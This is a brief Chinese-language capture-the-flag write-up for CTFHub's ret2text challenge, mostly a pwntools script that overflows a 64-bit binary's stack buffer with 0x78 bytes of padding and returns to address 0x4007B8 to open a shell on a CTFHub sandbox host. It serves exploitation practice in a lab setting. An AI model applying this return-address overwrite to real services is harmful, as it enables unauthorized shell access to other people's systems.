64位的程序,没有发现保护
    image.png
    image.png
    image.png

    将溢出地址设置为 图中的位置 可以获取Shell

    1. from pwn import *
    2. import re
    3. context(os='linux', arch="amd64", log_level="debug")
    4. content = 0
    5. def main():
    6. if content == 1:
    7. peiqi = process("pwn")
    8. else:
    9. peiqi = remote("challenge-619914dcf99e6685.sandbox.ctfhub.com",29602)
    10. payload = b"a" * (0x70 + 8)
    11. payload = payload + p64(0x4007B8)
    12. peiqi.recvuntil("Welcome to CTFHub ret2text.Input someting:\n")
    13. peiqi.sendline(payload)
    14. peiqi.interactive()
    15. main()

    image.png